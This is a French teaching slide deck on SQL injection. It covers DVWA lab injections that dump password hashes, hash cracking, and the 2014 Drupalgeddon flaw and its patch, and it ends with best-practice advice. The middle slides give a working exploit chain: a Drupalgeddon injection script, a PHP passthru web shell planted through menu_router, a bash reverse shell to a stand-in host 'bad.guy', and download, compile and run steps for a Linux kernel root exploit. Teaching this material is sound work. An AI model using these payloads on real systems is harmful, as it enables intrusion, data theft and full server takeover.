Skip to content
Snippets Groups Projects

SQLi

Aka injections SQL

Disclaimer

Cette présentation explique comment fonctionne l'exploiter des services vulnérables aux injections SQL.

Toutes les attaques sont réalisées sur des VMs en local.

Il est vivement déconseillé de reproduire ces attaques sur une cible distante, sans la permission explicite (c'est à dire écrite et signée) de l'administrateur de cette cible!

Selon la cible: Vous risquez gros!

monsite.com

Utilisateur:
Mot de passe:

Que se passe-t-il quand on appuie sur le bouton?

basiquement ...

SQLi

Où sont les failles de sécurité?

Note:

  • Le navigateur envoie le contenu des champs Utilisateur et Mot passe au serveur
    • en clair
  • Le serveur va chercher les informations concernant l' Utilisateur mazenovi dans sa base de données
    • dont le mot de passe
  • Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
    • égalité = utilisateur authentifié
    • différence = utilisateur ou mot de passe invalide

http = carte postale

SQLi

https = enveloppe cachetée

SQLi

Note:

  • Lors de la transmission du mot de passe => utiliser https

???

SQLi

Note:

  • Lors du stockage du mot de passe
    • Pourquoi?
      • Le mot de passe n'est jamais affiché et voilà

sqli

SQLi

Note:

  • Lors du stockage du mot de passe
    • Pourquoi?
      • Le mot de passe n'est jamais affiché et voilà

SQLi

  • faille n°1 dans le top 10 owasp
    • depuis plusieurs années
    • concerne tous les interpréteurs
    • concerne tous les langages
  • permet de
    • lire des données protégées
    • corrompre des données
    • dénis de services
    • lecture / écriture sur le système de fichiers
    • exécution de commandes arbitraires

SQLi

http://dv.wa/vulnerabilities/sqli/

Tout commence par un message d'erreur anodin si on saisit les caractère ' au lieu de l'entier attendu

You have an error in your SQL syntax; check the manual 
that corresponds to your MySQL server version 
for the right syntax to use near ''''' at line 1

intéressant!?

$id = $_GET['id'];
$getid = "SELECT first_name, last_name 
          FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die(mysql_error());
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
    $first = mysql_result($result,$i,"first_name");
    $last = mysql_result($result,$i,"last_name"); 
    echo '<pre>';
    echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
    echo '</pre>';
    $i++;
} 

le serveur exécute donc la requête

SELECT first_name, last_name FROM users WHERE user_id = '''

et renvoie une erreur! chaîne de caractère non terminée ...

SQLi / détournement

en suivant la logique

SELECT first_name, last_name 
FROM users WHERE user_id = '' OR 1=1

devrait afficher la liste de tous les utilisateurs ...

essayons de saisir la valeur ' OR 1=1 au lieu de l'entier attendu

toujours la même erreur!

Pourquoi?

SQLi / détournement

la requête exécutée est en fait

SELECT first_name, last_name 
FROM users WHERE user_id = '' OR 1=1'

elle présente encore une erreur de chaîne de caractère non terminée!

Comment faire?

essayons avec le symbole de commentaire en ligne #

SQLi / détournement

on saisit maintenant la valeur ' OR 1=1# au lieu de l'entier attendu

Ca marche :D

SQLi / détournement

Notez qu'on peut travailler directement sur l'url (industrialisation)

http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit

soit en version encodée

http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit

peut on atteindre les mots de passe?

probablement dans la même table ...

mais comment? on a pas la main sur la clause SELECT de la requête ...

Say hello to UNION!

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

Union

Les clauses select doivent avoir le même nombre de champs!?

comment deviner le nombre de champs d'une requête SQL?

jouer avec order BY

' OR 1=1 ORDER BY 2#
  • si l'index correspond à un champs de la clause SELECT
    • la requête s'exécute
  • si l'index ne correspond pas à un champs de la clause SELECT
    • la requête échoue

Affichage des mots de passe

' AND 1=0 UNION SELECT user, password FROM users#

Les mots de passe sont hashés

  • SHA256(passeenclair)
    • 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
  • SHA256(admin)
    • 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
  • MD5(passeenclair) (cassé!)
    • 5452409edd9626898129c983ec443748

sqli

SQLi

Note:

  • Mot de passe hashé

Rainbow tables

https://crackstation.net/

  • Hashs précalculés de mots de passe communs

  • 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918

    • sha256 - admin
  • 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4

    • ????

Bonnes pratiques

Bonnes pratiques

Bonnes pratiques

Bonnes pratiques

SQLi de la vraie vie (2014)

  • les SQLi n'apparaissent pas (plus) de manière aussi grossière

  • Voici une vraie faille du CMS drupal ...

Drupalgeddon

La faille

exploitable à partir du formulaire d'authentification!

sans aucun privilège!

Trouver un système vulnérable sur le www

shodan HQ

Google-Fu

Timeline grand publique

Timeline côté attaquant

  • 16 sept. 2014 : notification à Drupal
  • 15 oct. 2014 : publication du correctif
  • 15 oct. 2014, 4h après : exploitations en cours…
  • 16 oct. 2014 : de très nombreux Drupal compromis…

La faille

includes/database/database.inc ligne 738

foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  foreach ($data as $i => $value) {   
    $new_keys[$key . '_' . $i] = $value
  }
}
  • $i est un index de tableau de variables HTTP
  • les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
    • il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP

Le patch

includes/database/database.inc ligne 738

foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  /* patched version begin */
  foreach (array_values($data) as $i => $value) {
  /* patched version end */
    $new_keys[$key . '_' . $i] = $value
  }
}
  • array_values() retourne les valeurs du tableau array et l'indexe de façon numérique

Note:

  • combien de dev PHP?
  • combien utilisent array_values()
  • forcer le type des paramètres est une bonne option
  • debugging et dump variable à creuser
    • code drupal compliqué ou mal fait

Exploitation manuelle

remplacer

<input id="edit-name" name="name" type="text">

par

<input name="name[0; DELETE FROM flood;;#  ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />

Down the rabbit hole

Note:

  • mettre un mot de passe

Exploit

MKorostoff/drupalgeddon

$url = $argv[1];
$sql = $argv[2];
$sql =   str_replace('{', '\' , CHAR(123), \'', $sql);
$sql =   str_replace('}', '\' , CHAR(125), \'', $sql);
$sql =   str_replace('[', '\' , CHAR(91), \'', $sql);
$sql =   str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);

//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
    'http' => array(
    'method' => 'POST',
    'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
    'content' => $post_data
  )
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'

Backdoor

rerésente 68% des attaques

Simple backdoor shell

$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
  echo "<pre>";
  passthru($_REQUEST["cmd"]);
  die;
}
phpinfo();';

Backdoor

  • Architecture Drupal
    • menu_router
      • un url = un callback + un tableau d'arguments sérialisés
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');

Payload

$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);

http://drup.al/backdoor

Note:

  • bien entendu on appelle pas ça backdoor
  • en réalité l'exploit de Matt Korostoff marche avec un cookie
  • deux ou trois échappement sont nécessaire
  • même pas besoin créer le compte admin hein ...
    • automatisable à souhait

exploitation

$ php attack/exploit.php 'http://drup.al'

exploitation

nc -lvvp 1337

met le poste de l'attaquant en écoute sur le port 1337

http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');

en version encodée

http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0```

* connecte le serveur sur l'IP de l'attaquant

Note:
- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
  - analyse des ping wireshark
  - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
    - sur ma maquette ca marche aussi sur le port 80 ...


## escalade de privilèges

* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
  * environ tous les 2 ans
    * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
  * fonctionne sur les archi 64bits uniquement
  * kernel de 2.6.37 à 3.8.10

```shell
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami

W00T

w00t!!!!

Bonnes pratiques

  • un malheur n'arrive jamais seul
  • tout doit être à jour
    • système, lib, cms, services, ...
  • mieux vaut s'appuyer sur des communautés
    • réactives
    • préoccupées par la sécurité
  • bien suivre les mises à jour des produits
    • et patcher asap quand nécessaire